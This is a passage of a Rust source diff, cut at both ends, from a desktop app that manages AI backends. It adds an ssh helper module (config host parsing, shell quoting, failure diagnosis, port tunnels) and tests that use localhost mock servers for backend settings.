path", "projects_dir": d.path()}), ok()).is_err()); + assert!(e.call("rebuild_start", json!({"request": "x", "build_with": "cobol", "projects_dir": d.path()}), ok()).is_err()); + // Status, notes and stop on a project with nothing running. + let ws = Workspace::create(d.path(), "Snake", "A snake game", TargetRef::None).unwrap(); + // A project's activity reads through the tool, none yet being no lines, not an error. + let shown = e.call("rebuild_activity_show", json!({"project": ws.root}), ok()).unwrap().to_json(); + assert_eq!(shown["result"]["lines"], json!([]), "{shown}"); + std::fs::write(ws.root.join(craft_anything_engine::workspace::ACTIVITY_LOG), "one\ntwo\nthree\n").unwrap(); + let shown = e.call("rebuild_activity_show", json!({"project": ws.root, "limit": 1, "offset": 1}), ok()).unwrap().to_json(); + assert_eq!(shown["result"]["lines"], json!(["two"]), "{shown}"); + let st = e.call("rebuild_status", json!({"project": ws.root}), ok()).unwrap().to_json(); + assert_eq!(st["result"]["running"], false); + assert_eq!(st["result"]["queued"], Value::Null); + assert!(e.call("rebuild_note", json!({"project": ws.root, "text": "blue"}), ok()).is_err()); + assert!(e.call("rebuild_note_withdraw", json!({"project": ws.root, "id": 1}), ok()).is_err()); + assert!(e.call("rebuild_stop", json!({"project": ws.root}), ok()).is_err()); + } + + #[test] + fn the_builder_asks_the_running_build_for_a_check_and_gets_its_report() { + let d = tempfile::tempdir().unwrap(); + let e = Engine::shared(craft_anything_engine::testing::session(), specs()); + let ok = || CallOptions::new(Caller::Mcp); + let ws = Workspace::create(d.path(), "Snake", "A snake game", TargetRef::None).unwrap(); + assert!(e.call("rebuild_check", json!({"project": ws.root, "wait_minutes": 0}), ok()).is_err(), "wait is checked"); + assert!(e.call("rebuild_check", json!({"project": d.path().join("nope")}), ok()).is_err(), "not a project"); + assert!(e.call("rebuild_check", json!({"wait_minutes": 1}), ok()).is_err(), "no project and no inbox to infer it from"); + // A stand-in for the run: answer the first check request with a report. + let asks = Inbox::new(self_check::asks_dir(&ws.root)); + let answerer = std::thread::spawn(move || { + for _ in 0..200 { + if let Some(r) = asks.pending().first() { + asks.answer(&r.id, &Answer { text: Some("build: passed — Build succeeded.".into()), ..Default::default() }).unwrap(); + return true; + } + std::thread::sleep(Duration::from_millis(25)); + } + false + }); + // The project comes from the tool server's inbox (/inbox) when not given. + e.session().ext.insert(Arc::new(InboxDir(ws.inbox_dir()))); + let v = e.call("rebuild_check", json!({"wait_minutes": 1}), ok()).unwrap().to_json(); + assert!(answerer.join().unwrap(), "the request reached checks/asks/"); + assert_eq!(v["result"]["report"], "build: passed — Build succeeded."); + // A build running in this process can't answer a check asked from inside it. + let _here = self_check::BuildingHere::new(&ws.root); + let err = e.call("rebuild_check", json!({"project": ws.root}), ok()).err().unwrap(); + assert_eq!(err.code, ErrorCode::FeatureMissing); + } +} diff --git a/desktop/crates/ai/src/ssh.rs b/desktop/crates/ai/src/ssh.rs new file mode 100644 index 0000000..3b73391 --- /dev/null +++ b/desktop/crates/ai/src/ssh.rs @@ -0,0 +1,329 @@ +//! Remote backends over the system `ssh` (never interactive: `BatchMode=yes`, connect timeout). + +use std::path::{Path, PathBuf}; + +/// Options every ssh run gets. +pub const SSH_OPTIONS: &[&str] = &["-o", "BatchMode=yes", "-o", "ConnectTimeout=10", "-o", "ServerAliveInterval=15", "-o", "ServerAliveCountMax=4"]; + +/// `ssh` argv (without the program) that runs `remote` on `host`. Each remote argument is quoted +/// for the remote POSIX shell. +pub fn ssh_args(host: &str, remote: &[String]) -> Vec { + let mut v: Vec = SSH_OPTIONS.iter().map(|s| s.to_string()).collect(); + v.push("-T".into()); + v.push(host.to_string()); + v.push("--".into()); + v.push(remote.iter().map(|a| shell_quote(a)).collect::>().join(" ")); + v +} + +/// Quote one word for a POSIX shell. +pub fn shell_quote(s: &str) -> String { + if !s.is_empty() && s.chars().all(|c| c.is_ascii_alphanumeric() || "-_./=:@%+,".contains(c)) { + return s.to_string(); + } + format!("'{}'", s.replace('\'', "'\\''")) +} + +fn ssh_dir() -> Option { + dirs::home_dir().map(|h| h.join(".ssh")) +} + +/// Host aliases from `~/.ssh/config` (and files it includes), without wildcard patterns. +pub fn ssh_hosts() -> Vec { + match ssh_dir() { + Some(d) => hosts_from_file(&d.join("config"), &d, 0, parse_hosts), + None => Vec::new(), + } +} + +/// `host` is a git server, by its name or by what `~/.ssh/config` says about it. An AI saved before +/// such hosts stopped being offered can still be set to one. +pub fn is_git_server(host: &str) -> bool { + is_git_host(host) || ssh_dir().is_some_and(|d| hosts_from_file(&d.join("config"), &d, 0, git_aliases).iter().any(|h| h == host)) +} + +/// A plain explanation of why a program couldn't run over ssh. +#[derive(Debug, Clone, PartialEq, Eq)] +pub struct SshFailure { + pub what: String, + pub fix: String, +} + +/// What ssh's own failure messages mean: (text in ssh's output, what happened, what to do). +const SSH_FAILURES: &[(&str, &str, &str)] = &[ + ( + "exec request failed", + "the computer accepted the login but wouldn't start the program", + "Check that this computer lets you run programs over ssh and hasn't run out of processes or memory.", + ), + ("permission denied", "the login was refused", "Set up an ssh key or agent for this computer; REI Reverse Engineer can't type a password."), + ("host key verification failed", "this computer's identity isn't trusted yet", "Connect once from a terminal and accept its host key."), + ("could not resolve hostname", "that computer's name wasn't found", "Check the name in Settings → AI and in ~/.ssh/config."), + ("connection refused", "the computer refused the connection", "Check that its ssh server is running and the port is right."), + ("timed out", "the computer didn't answer in time", "Check that it's on and reachable from this network."), + ("no route to host", "the computer can't be reached from this network", "Check that it's on and reachable from this network."), + ("connection closed", "the connection dropped", "Try again; if it keeps happening, check the computer's ssh server."), + ("connection reset", "the connection dropped", "Try again; if it keeps happening, check the computer's ssh server."), + ("broken pipe", "the connection dropped", "Try again; if it keeps happening, check the computer's ssh server."), +]; + +/// ssh's own exit code for "ssh failed"; any other code is the remote program's. +const SSH_FAILED: i32 = 255; +/// A POSIX shell's exit code for "command not found". +const NOT_FOUND: i32 = 127; + +/// Why running `program` on `host` failed, when the failure says. A git server comes first because +/// it fails in many ways. +pub fn diagnose(host: &str, program: &str, git_server: bool, code: Option, stderr: &str) -> Option { + if git_server { + return Some(SshFailure { + what: format!("{host} is a git server, not a computer that can run {program}"), + fix: format!("In Settings → AI, remove the AI that uses {host}, then add one on this computer or on a computer you can log in to."), + }); + } + match code { + Some(NOT_FOUND) => Some(SshFailure { + what: format!("{program} wasn't found on {host}"), + fix: format!( + "Install it there. If it's already installed, ssh sessions may not load your shell's PATH: set the full path in Settings → AI, or add it to the PATH in your shell's startup file on {host}." + ), + }), + Some(SSH_FAILED) => { + let text = stderr.to_ascii_lowercase(); + let (_, what, fix) = SSH_FAILURES.iter().find(|(needle, _, _)| text.contains(needle))?; + Some(SshFailure { what: (*what).to_string(), fix: (*fix).to_string() }) + } + _ => None, + } +} + +/// A command that tests `program` on `host`, without any prompt. +pub fn check_command(host: &str, program: &str) -> String { + format!("ssh -o BatchMode=yes -T {} -- {} --version", shell_quote(host), shell_quote(program)) +} + +fn hosts_from_file(path: &Path, base: &Path, depth: u32, parse: fn(&str) -> Vec) -> Vec { + if depth > 4 { + return Vec::new(); + } + let text = match std::fs::metadata(path) { + Ok(m) if m.len() <= 1024 * 1024 => std::fs::read_to_string(path).unwrap_or_default(), + _ => return Vec::new(), + }; + let mut out = parse(&text); + for inc in includes(&text) { + let p = if inc.starts_with('/') { + PathBuf::from(&inc) + } else if let Some(rest) = inc.strip_prefix("~/") { + dirs::home_dir().map(|h| h.join(rest)).unwrap_or_default() + } else { + base.join(&inc) + }; + // Simple support for a trailing `*` in the file name (e.g. `config.d/*`). + let files: Vec = if p.file_name().is_some_and(|n| n.to_string_lossy().contains('*')) { + p.parent().and_then(|d| std::fs::read_dir(d).ok()).map(|rd| rd.flatten().map(|e| e.path()).filter(|f| f.is_file()).collect()).unwrap_or_default() + } else { + vec![p] + }; + for f in files { + for h in hosts_from_file(&f, base, depth + 1, parse) { + if !out.contains(&h) { + out.push(h); + } + } + } + } + out +} + +fn includes(text: &str) -> Vec { + text.lines() + .filter_map(|l| { + let l = l.trim(); + let (k, v) = l.split_once(|c: char| c.is_whitespace() || c == '=')?; + k.eq_ignore_ascii_case("include").then(|| v.split_whitespace().map(str::to_string).collect::>()) + }) + .flatten() + .collect() +} + +/// Servers reached over SSH only to push and pull code. An alias for one (`github.com-work`, to +/// use a second account's key) is no computer to run an agent on. +const GIT_HOSTS: &[&str] = &[ + "github.com", + "ssh.github.com", + "gitlab.com", + "altssh.gitlab.com", + "bitbucket.org", + "altssh.bitbucket.org", + "codeberg.org", + "git.sr.ht", + "ssh.dev.azure.com", + "vs-ssh.visualstudio.com", +]; + +/// `name` is a known git server, or an alias made from one (`github.com-work`, `GitHub.com.alt`). +fn is_git_host(name: &str) -> bool { + let name = name.to_ascii_lowercase(); + GIT_HOSTS.iter().any(|g| name.strip_prefix(g).is_some_and(|rest| rest.is_empty() || rest.starts_with(['-', '.', '_']))) +} + +/// Concrete `Host` names in an ssh config text, without git servers: a host named after one, or +/// whose block has a git server's `HostName` or `User git`. +pub fn parse_hosts(text: &str) -> Vec { + let blocks = host_blocks(text); + let git: Vec<&String> = blocks.iter().filter(|b| b.1).flat_map(|b| &b.0).collect(); + let mut out: Vec = Vec::new(); + for name in blocks.iter().filter(|b| !b.1).flat_map(|b| &b.0) { + if !git.contains(&name) && !out.contains(name) { + out.push(name.clone()); + } + } + out +} + +/// The `Host` names in an ssh config text that lead to a git server. +fn git_aliases(text: &str) -> Vec { + host_blocks(text).into_iter().filter(|b| b.1).flat_map(|b| b.0).collect() +} + +/// One entry per `Host` (or `Match`) line: its names, and whether it points at a git server. +fn host_blocks(text: &str) -> Vec<(Vec, bool)> { + let mut blocks: Vec<(Vec, bool)> = Vec::new(); + for line in text.lines() { + let l = line.trim(); + if l.starts_with('#') { + continue; + } + let Some((k, v)) = l.split_once(|c: char| c.is_whitespace() || c == '=') else { continue }; + let v = v.trim_start().trim_start_matches('=').trim(); + if k.eq_ignore_ascii_case("host") { + let names: Vec = + v.split_whitespace().map(|n| n.trim_matches('"')).filter(|n| !n.is_empty() && !n.contains(['*', '?', '!'])).map(str::to_string).collect(); + let git = names.iter().any(|n| is_git_host(n)); + blocks.push((names, git)); + } else if k.eq_ignore_ascii_case("match") { + blocks.push((Vec::new(), false)); + } else if let Some((_, git)) = blocks.last_mut() { + let v = v.trim_matches('"'); + *git |= (k.eq_ignore_ascii_case("hostname") && is_git_host(v)) || (k.eq_ignore_ascii_case("user") && v == "git"); + } + } + blocks +} + +/// A local port forwarded to a server on a remote host (`ssh -N -L`), owned and killed on drop. +pub struct Tunnel { + _proc: craft_anything_platform::RunningProcess, + pub local_port: u16, +} + +impl std::fmt::Debug for Tunnel { + fn fmt(&self, f: &mut std::fmt::Formatter<'_>) -> std::fmt::Result { + write!(f, "Tunnel(:{})", self.local_port) + } +} + +/// Forward a free local port to `remote_host:remote_port` as seen from `ssh_host`. Waits (at most +/// 12 s) until the forward accepts connections. +pub fn open_tunnel(ssh_host: &str, remote_host: &str, remote_port: u16) -> Result { + use craft_anything_evidence::{ErrorCode, ToolError}; + let port = std::net::TcpListener::bind("127.0.0.1:0") + .and_then(|l| l.local_addr()) + .map(|a| a.port()) + .map_err(|e| ToolError::new(ErrorCode::OverLimit, format!("No free local port: {e}")))?; + let mut args: Vec = SSH_OPTIONS.iter().map(|s| s.to_string()).collect(); + args.extend([ + "-N".into(), + "-o".into(), + "ExitOnForwardFailure=yes".into(), + "-L".into(), + format!("127.0.0.1:{port}:{remote_host}:{remote_port}"), + ssh_host.to_string(), + ]); + let mut proc = craft_anything_platform::Process::new("ssh") + .args(&args) + .timeout(std::time::Duration::from_secs(24 * 3600)) + .label("ssh") + .remediation("Install OpenSSH and make sure `ssh ` works without a password prompt (use a key or agent).") + .spawn()?; + let deadline = std::time::Instant::now() + std::time::Duration::from_secs(12); + let url = format!("http://127.0.0.1:{port}"); + while std::time::Instant::now() < deadline { + if crate::detect::port_open(&url, std::time::Duration::from_millis(200)) { + return Ok(Tunnel { _proc: proc, local_port: port }); + } + if let Some(r) = proc.try_result() { + let msg = match r { + Ok(out) => out.stderr_text().trim().to_string(), + Err(e) => e.message.clone(), + }; + return Err(ToolError::new(ErrorCode::EngineMissing, format!("ssh to {ssh_host} failed: {msg}")) + .with_remediation("Check that `ssh ` works without a password prompt.")); + } + std::thread::sleep(std::time::Duration::from_millis(100)); + } + Err(ToolError::new(ErrorCode::TimedOut, format!("The ssh tunnel to {ssh_host} didn't come up in time."))) +} + +#[cfg(test)] +mod tests { + use super::*; + + #[test] + fn parses_hosts_and_skips_patterns() { + let cfg = "# c\nHost studio-mac gpu\n HostName 10.0.0.2\nHost *\n User x\nhost=lab !bad *.corp\nMatch host foo\nHost gpu\n"; + assert_eq!(parse_hosts(cfg), vec!["studio-mac", "gpu", "lab"]); + assert_eq!(includes("Include config.d/*\ninclude a b\n"), vec!["config.d/*", "a", "b"]); + } + + #[test] + fn git_servers_are_not_hosts() { + let cfg = "Host github.com-second\n HostName github.com\n IdentityFile ~/.ssh/k\nHost work-gh\n HostName github.com\n\ + Host forge\n HostName git.example.org\n User git\nHost GitHub.com.alt gitlab.com\nHost box\n HostName 10.0.0.3\n User git2\n\ + Host = spaced\nHost github.community\nHost work-gh\n"; + assert_eq!(parse_hosts(cfg), vec!["box", "spaced", "github.community"]); + } + + #[test] + fn an_alias_for_a_git_server_is_known_as_one() { + let cfg = "Host github.com-work\n HostName github.com\nHost forge\n HostName git.example.org\n User git\nHost gpu\n HostName 10.0.0.2\n"; + assert_eq!(git_aliases(cfg), ["github.com-work", "forge"]); + } + + #[test] + fn failures_are_explained_in_plain_words() { + // Reproduced against GitHub: it logs you in, then refuses to start anything. + let git = diagnose("github.com-work", "claude", true, Some(255), "exec request failed on channel 0").unwrap(); + assert!(git.what.contains("github.com-work is a git server"), "{}", git.what); + assert!(git.fix.contains("Settings → AI")); + // So does its other answer, which exits 1. + assert!(diagnose("g", "claude", true, Some(1), "Invalid command: claude").is_some()); + + let refused = diagnose("gpu", "claude", false, Some(255), "exec request failed on channel 0\n").unwrap(); + assert!(refused.what.contains("wouldn't start the program")); + assert!(diagnose("gpu", "claude", false, Some(255), "me@gpu: Permission denied (publickey).").unwrap().fix.contains("ssh key")); + assert!(diagnose("gpu", "claude", false, Some(127), "sh: claude: command not found").unwrap().what.contains("wasn't found on gpu")); + // The remote program's own failure, or ssh's unknown one, isn't guessed at. + assert!(diagnose("gpu", "claude", false, Some(1), "Permission denied").is_none()); + assert!(diagnose("gpu", "claude", false, Some(255), "something new").is_none()); + assert_eq!(check_command("gpu", "claude"), "ssh -o BatchMode=yes -T gpu -- claude --version"); + } + + #[test] + fn includes_are_followed() { + let dir = tempfile::tempdir().unwrap(); + std::fs::create_dir(dir.path().join("config.d")).unwrap(); + std::fs::write(dir.path().join("config.d").join("work"), "Host work-box\n").unwrap(); + std::fs::write(dir.path().join("config"), "Include config.d/*\nHost home\n").unwrap(); + assert_eq!(hosts_from_file(&dir.path().join("config"), dir.path(), 0, parse_hosts), vec!["home", "work-box"]); + } + + #[test] + fn args_are_batch_mode_and_quoted() { + let a = ssh_args("box", &["claude".into(), "-p".into(), "it's a test".into()]); + assert!(a.windows(2).any(|w| w[0] == "-o" && w[1] == "BatchMode=yes")); + assert!(a.iter().any(|s| s == "ConnectTimeout=10")); + assert_eq!(a.last().unwrap(), "claude -p 'it'\\''s a test'"); + } +} diff --git a/desktop/crates/ai/src/tests.rs b/desktop/crates/ai/src/tests.rs new file mode 100644 index 0000000..5b1e7f3 --- /dev/null +++ b/desktop/crates/ai/src/tests.rs @@ -0,0 +1,554 @@ +//! End-to-end tests: a tiny std TcpListener HTTP server stands in for the model APIs, and a real +//! engine runs the tools. No real network. + +use super::*; +use craft_anything_platform::sync::Mutex; +use serde_json::{Value, json}; +use std::io::{BufRead, BufReader, Read, Write}; +use std::net::TcpListener; + +#[derive(Debug, Clone)] +struct Seen { + path: String, + headers: Vec<(String, String)>, + body: Value, +} + +#[test] +fn experiential_preset_streams_and_lists_models_with_its_own_key() { + let response = chat_sse(&[json!({"choices":[{"delta":{"content":"gateway ready"},"finish_reason":"stop"}]})]); + let (url, seen) = mock(vec![(200, "text/event-stream", response), (200, "application/json", json!({"data":[{"id":"gateway-model"}]}).to_string())]); + let (h, _dir) = hub(); + let mut preset = connections::experiential(false).suggestion; + preset.base_url = Some(format!("{url}/v1")); + h.add_backend(preset, Some("xpl-test-placeholder".into())).unwrap(); + let mut conversation = h.start(Some(connections::EXPERIENTIAL_NAME), true).unwrap(); + let events = run(&mut conversation, "hello"); + assert!(events.iter().any(|e| matches!(e, AgentEvent::TextDelta { text } if text == "gateway ready")), "{events:?}"); + assert_eq!(h.list_models(connections::EXPERIENTIAL_NAME).unwrap(), vec!["gateway-model"]); + let seen = seen.lock().unwrap(); + assert_eq!(seen[0].path, "/v1/chat/completions"); + assert_eq!(seen[1].path, "/v1/models"); + assert!(seen.iter().all(|r| r.header("authorization") == Some("Bearer xpl-test-placeholder"))); +} + +impl Seen { + fn header(&self, k: &str) -> Option<&str> { + self.headers.iter().find(|(n, _)| n.eq_ignore_ascii_case(k)).map(|(_, v)| v.as_str()) + } +} + +/// Serve canned responses `(status, content_type, body)` in order; record requests. +fn mock(responses: Vec<(u16, &'static str, String)>) -> (String, Arc>>) { + let l = TcpListener::bind("127.0.0.1:0").unwrap(); + let url = format!("http://{}", l.local_addr().unwrap()); + let seen = Arc::new(Mutex::new(Vec::new())); + let s2 = seen.clone(); + std::thread::spawn(move || { + for (status, ctype, reply) in responses { + let Ok((stream, _)) = l.accept() else { return }; + let mut r = BufReader::new(stream.try_clone().unwrap()); + let mut line = String::new(); + r.read_line(&mut line).unwrap(); + let path = line.split_whitespace().nth(1).unwrap_or_default().to_string(); + let mut headers = Vec::new(); + let mut len = 0usize; + loop { + let mut h = String::new(); + r.read_line(&mut h).unwrap(); + let h = h.trim_end().to_string(); + if h.is_empty() { + break; + } + if let Some((k, v)) = h.split_once(':') { + if k.eq_ignore_ascii_case("content-length") { + len = v.trim().parse().unwrap(); + } + headers.push((k.trim().to_string(), v.trim().to_string())); + } + } + let mut buf = vec![0; len]; + r.read_exact(&mut buf).unwrap(); + let body = serde_json::from_slice(&buf).unwrap_or(Value::Null); + s2.lock().unwrap().push(Seen { path, headers, body }); + let mut w = stream; + let reason = if status == 200 { "OK" } else { "Error" }; + write!(w, "HTTP/1.1 {status} {reason}\r\ncontent-type: {ctype}\r\ncontent-length: {}\r\nconnection: close\r\n\r\n{reply}", reply.len()).unwrap(); + w.flush().unwrap(); + } + }); + (url, seen) +} + +/// A stand-in server on a free port that answers every request (and any number of them, unlike +/// [`mock`]) with `status` and `body`; its `/v1` address. +pub(crate) fn serve(status: &'static str, body: &'static str) -> String { + let l = TcpListener::bind("127.0.0.1:0").unwrap(); + let base = format!("http://{}/v1", l.local_addr().unwrap()); + std::thread::spawn(move || { + for mut s in l.incoming().flatten() { + let (mut got, mut buf) = (Vec::new(), [0u8; 4096]); + while !got.windows(4).any(|w| w == b"\r\n\r\n") { + match s.read(&mut buf) { + Ok(0) | Err(_) => break, + Ok(n) => got.extend_from_slice(&buf[..n]), + } + } + if !got.is_empty() { + let _ = write!(s, "HTTP/1.1 {status}\r\ncontent-length: {}\r\nconnection: close\r\n\r\n{body}", body.len()); + } + } + }); + base +} + +/// #48: a coding agent's test only runs `--version`, and its report says so. +#[test] +fn a_coding_agent_test_says_it_only_checked_the_version() { + let (h, _d) = hub(); + let config = BackendConfig { name: "Agent".into(), kind: BackendKind::AgentCli, model: "opencode".into(), base_url: None, ssh_host: None, enabled: true }; + // cargo stands in for the agent's program: it's there wherever these tests run. + let options = BackendOptions { command: Some("cargo".into()), ..Default::default() }; + h.add_backend_with(BackendEntry { config, options }, None).unwrap(); + let r = h.test_backend("Agent").unwrap(); + assert!(r.version_only && r.reply.starts_with("cargo "), "{r:?}"); + assert_eq!(serde_json::to_value(&r).unwrap()["version_only"], true, "the CLI's ai test prints it"); +} + +/// Every known agent with an adapter of its own is offered when adding a coding agent. +#[test] +fn every_agent_with_its_own_adapter_is_offered() { + let adapters = cli_agents::adapters::AgentAdapters::built_in(); + let own: Vec<&str> = cli_agents::KNOWN.iter().map(|(id, _, _)| *id).filter(|id| adapters.for_agent(id).ids().contains(id)).collect(); + assert!(own.contains(&"maki"), "{own:?}"); + for id in own { + assert!(BackendKind::AgentCli.suggested_models().contains(&id), "{id} isn't offered"); + } +} + +/// #37: doctor asks a local server for its models instead of trusting an open port. +#[test] +fn a_local_server_is_reachable_only_when_it_lists_models() { + let (h, _d) = hub(); + add(&h, "Web page", BackendKind::OpenaiCompatible, &serve("404 Not Found", "404 page not found"), None); + add(&h, "Real", BackendKind::OpenaiCompatible, &serve("200 OK", r#"{"data":[{"id":"qwen3-8b"}]}"#), None); + let reach = h.check_reachability(); + let of = |n: &str| reach.iter().find(|(name, _)| name == n).map(|(_, r)| r.clone()).unwrap(); + assert!(of("Web page").is_err_and(|e| e.contains("404 page not found")), "{reach:?}"); + assert!(of("Real").is_ok(), "{reach:?}"); +} + +fn sse(events: &[Value]) -> String { + events.iter().map(|e| format!("event: {}\r\ndata: {}\r\n\r\n", e["type"].as_str().unwrap_or("message"), e)).collect() +} + +fn chat_sse(chunks: &[Value]) -> String { + let mut s: String = chunks.iter().map(|c| format!("data: {c}\n\n")).collect(); + s.push_str("data: [DONE]\n\n"); + s +} + +fn hub() -> (AiHub, tempfile::TempDir) { + let dir = tempfile::tempdir().unwrap(); + let engine = Arc::new(Engine::new(craft_anything_engine::testing::session())); + let h = AiHub::with_stores(engine, dir.path().join("config.toml"), KeyStore::file_only(dir.path().join("ai-keys.toml"))); + (h, dir) +} + +#[test] +fn a_failed_save_changes_nothing() { + let dir = tempfile::tempdir().unwrap(); + // The settings "file" can't be written: its folder is a file. + std::fs::write(dir.path().join("blocked"), "").unwrap(); + let engine = Arc::new(Engine::new(craft_anything_engine::testing::session())); + let h = AiHub::with_stores(engine, dir.path().join("blocked").join("config.toml"), KeyStore::file_only(dir.path().join("ai-keys.toml"))); + let cfg = BackendConfig { name: "Kimi".into(), kind: BackendKind::Openrouter, model: "m".into(), base_url: None, ssh_host: None, enabled: true }; + assert!(h.add_backend(cfg, None).is_err()); + assert!(h.backends().is_empty(), "the app shows only what was saved"); +} + +/// #261: one bad price made the whole [ai] section read as empty, and adding a backend saved +/// that over the backends, roles and prices. +#[test] +fn ai_settings_that_cant_be_read_are_never_saved_over() { + let (h, d) = hub(); + add(&h, "Claude Code", BackendKind::AgentCli, "http://127.0.0.1:9", None); + add(&h, "Kimi K3 (OpenRouter)", BackendKind::Openrouter, "http://127.0.0.1:9", None); + h.set_role(Role::Builder, Some("Kimi K3 (OpenRouter)")).unwrap(); + let file = d.path().join("config.toml"); + let mut bad = h.engine.session().settings.clone(); + let price: toml::Table = toml::from_str( + "[m] +input_per_mtok = 1.0 +", + ) + .unwrap(); + bad.ai.insert("prices".into(), toml::Value::Table(price)); + bad.save_to(&file).unwrap(); + h.engine.session().settings = bad; + let before = std::fs::read(&file).unwrap(); + let cfg = BackendConfig { name: "Other".into(), kind: BackendKind::Openrouter, model: "m".into(), base_url: None, ssh_host: None, enabled: true }; + let e = h.add_backend(cfg, Some("sk-test".into())).unwrap_err(); + assert_eq!(e.code, ErrorCode::BadSettings, "{e:?}"); + assert!(h.set_role(Role::Builder, None).is_err()); + assert!(h.set_enabled("Claude Code", false).is_err()); + assert!(h.remove_backend("Claude Code").is_err()); + assert_eq!(std::fs::read(&file).unwrap(), before, "the settings file was changed"); + assert!(h.keys.get("Other").is_none(), "a refused add stored its key"); +} + +#[test] +fn the_person_chooses_who_builds() { + let (h, _d) = hub(); + add(&h, "Claude Code", BackendKind::AgentCli, "http://127.0.0.1:9", None); + add(&h, "Kimi K3 (OpenRouter)", BackendKind::Openrouter, "http://127.0.0.1:9", Some("sk-test")); + assert_eq!(h.chosen(Role::Builder), None, "automatic until chosen"); + assert!(h.set_role(Role::Builder, Some("Nobody")).is_err(), "only a configured backend"); + h.set_role(Role::Builder, Some("Kimi K3 (OpenRouter)")).unwrap(); + assert_eq!(h.chosen(Role::Builder).as_deref(), Some("Kimi K3 (OpenRouter)")); + // The extractor is chosen the same way, and has no default. + assert_eq!(h.chosen(Role::Extractor), None); + h.set_role(Role::Extractor, Some("Kimi K3 (OpenRouter)")).unwrap(); + assert_eq!(h.chosen(Role::Extractor).as_deref(), Some("Kimi K3 (OpenRouter)")); + // A removed backend can't stay the builder. + h.remove_backend("Kimi K3 (OpenRouter)").unwrap(); + assert_eq!((h.chosen(Role::Builder), h.chosen(Role::Extractor)), (None, None)); + h.set_role(Role::Builder, Some("Claude Code")).unwrap(); + h.set_role(Role::Builder, None).unwrap(); + assert_eq!(h.chosen(Role::Builder), None, "back to automatic"); +} + +/// #53: an agent app installed where it isn't looked for gets its program set (and cleared). +#[test] +fn an_agent_apps_program_is_set_and_cleared() { + let (h, _d) = hub(); + add(&h, "OpenCode", BackendKind::AgentCli, "http://127.0.0.1:9", None); + let program = |h: &AiHub| h.options().get("OpenCode").and_then(|o| o.command.clone()); + assert_eq!(program(&h), None); + assert!(h.set_command("OpenCode", Some(" /opt/oc/bin/opencode ")).unwrap()); + assert_eq!(program(&h).as_deref(), Some("/opt/oc/bin/opencode")); + assert!(!h.set_command("Nobody", Some("/x")).unwrap(), "only a configured backend"); + assert!(h.set_command("OpenCode", Some(" ")).unwrap()); + assert_eq!(program(&h), None, "blank finds it by its usual name again"); +} + +/// #123, #127: the model an AI uses is changed; Claude Code is offered Claude's models. +#[test] +fn an_ais_model_is_changed() { + let (h, _d) = hub(); + let url = serve("200 OK", r#"{"object":"list","data":[{"id":"nomic-embed-text"},{"id":"qwen3:8b"}]}"#); + h.add_server("Box", &url, Some("nomic-embed-text"), None).unwrap(); + assert_eq!(h.model_choices("Box").unwrap(), ["nomic-embed-text", "qwen3:8b"], "the server's own list"); + assert!(h.set_model("Box", " qwen3:8b ").unwrap()); + assert_eq!(h.backends().into_iter().find(|b| b.name == "Box").unwrap().model, "qwen3:8b"); + let claude = + BackendConfig { name: "Claude Code".into(), kind: BackendKind::AgentCli, model: "claude-code".into(), base_url: None, ssh_host: None, enabled: true }; + h.add_backend(claude, None).unwrap(); + assert_eq!(h.model_choices("Claude Code").unwrap(), crate::anthropic::MODELS); + assert!(h.set_model("Claude Code", "claude-sonnet-5-5").unwrap()); + let claude = h.options().get("Claude Code").and_then(|o| o.cli_model.clone()); + assert_eq!(claude.as_deref(), Some("claude-sonnet-5-5"), "the CLI is asked for it; the agent stays Claude Code"); + assert_eq!(h.backends().into_iter().find(|b| b.name == "Claude Code").unwrap().model, "claude-code"); + assert!(!h.set_model("Nobody", "m").unwrap()); + assert!(h.set_model("Box", " ").is_err()); +} + +/// Every Claude effort level can be chosen for the Claude API and Claude Code, and only for them. +#[test] +fn a_claude_ais_effort_is_changed() { + let (h, _d) = hub(); + let b = |name: &str, kind, model: &str| BackendConfig { name: name.into(), kind, model: model.into(), base_url: None, ssh_host: None, enabled: true }; + h.add_backend(b("Claude Code", BackendKind::AgentCli, "claude-code"), None).unwrap(); + h.add_backend(b("Codex", BackendKind::AgentCli, "codex"), None).unwrap(); + let effort = |h: &AiHub, name: &str| { + let config = h.backends().into_iter().find(|b| b.name == name).unwrap(); + crate::effort_in_use(&config, h.options().get(name)) + }; + assert_eq!(effort(&h, "Claude Code"), Some(Effort::High), "high until it's chosen"); + for level in Effort::ALL { + assert!(h.set_effort("Claude Code", Some(level)).unwrap()); + assert_eq!(effort(&h, "Claude Code"), Some(level)); + } + assert!(h.set_effort("Claude Code", None).unwrap()); + assert_eq!(effort(&h, "Claude Code"), Some(Effort::High), "back to the usual level"); + assert_eq!(effort(&h, "Codex"), None, "an agent that doesn't take Claude's levels"); + assert!(h.set_effort("Codex", Some(Effort::Max)).is_err()); + assert!(!h.set_effort("Nobody", Some(Effort::Low)).unwrap()); +} + +/// #54, #98: a server on another computer is added by its address, with a model that can chat +/// when none is named; one that doesn't answer with its models isn't added. +#[test] +fn a_server_is_added_by_its_address() { + let (h, _d) = hub(); + let url = serve("200 OK", r#"{"object":"list","data":[{"id":"nomic-embed-text"},{"id":"qwen3:8b"}]}"#); + assert_eq!(h.add_server(" Studio box ", &format!("{url}/"), None, Some(" sk-test ".into())).unwrap(), "qwen3:8b"); + let b = h.backends().into_iter().find(|b| b.name == "Studio box").unwrap(); + assert_eq!((b.kind, b.model.as_str(), b.base_url.as_deref()), (BackendKind::OpenaiCompatible, "qwen3:8b", Some(url.as_str()))); + assert_eq!(h.add_server("Named", &url, Some("llama3"), None).unwrap(), "llama3", "a named model is kept"); + assert!(h.add_server("Web page", &serve("404 Not Found", "nope"), None, None).is_err(), "not a model server"); + assert!(h.add_server("Empty", &serve("200 OK", r#"{"object":"list","data":[]}"#), None, None).is_err(), "no models to use"); + assert!(h.add_server("No scheme", "192.168.1.20:11434/v1", None, None).is_err()); + assert!(h.add_server(" ", &url, None, None).is_err()); + assert_eq!(h.backends().len(), 2, "only the ones that answered"); +} + +/// #374: a remote OpenAI-compatible service was treated as a local model: a 24K-token context +/// and a cost of nothing. Only a server on this computer or its network is local. +#[test] +fn only_an_openai_compatible_server_nearby_is_local() { + let (h, _d) = hub(); + for (name, base, local) in [ + ("Ollama", "http://127.0.0.1:11434/v1", true), + ("LM Studio box", "http://192.168.1.20:1234/v1", true), + ("Docker Ollama", "http://ollama:11434/v1", true), + ("IPv6 link-local", "http://[fe80::1]:11434/v1", true), + ("Z.ai", "https://api.z.ai/api/coding/paas/v4", false), + ("Public vLLM", "http://8.8.8.8:8000/v1", false), + ] { + add(&h, name, BackendKind::OpenaiCompatible, base, None); + let slot = 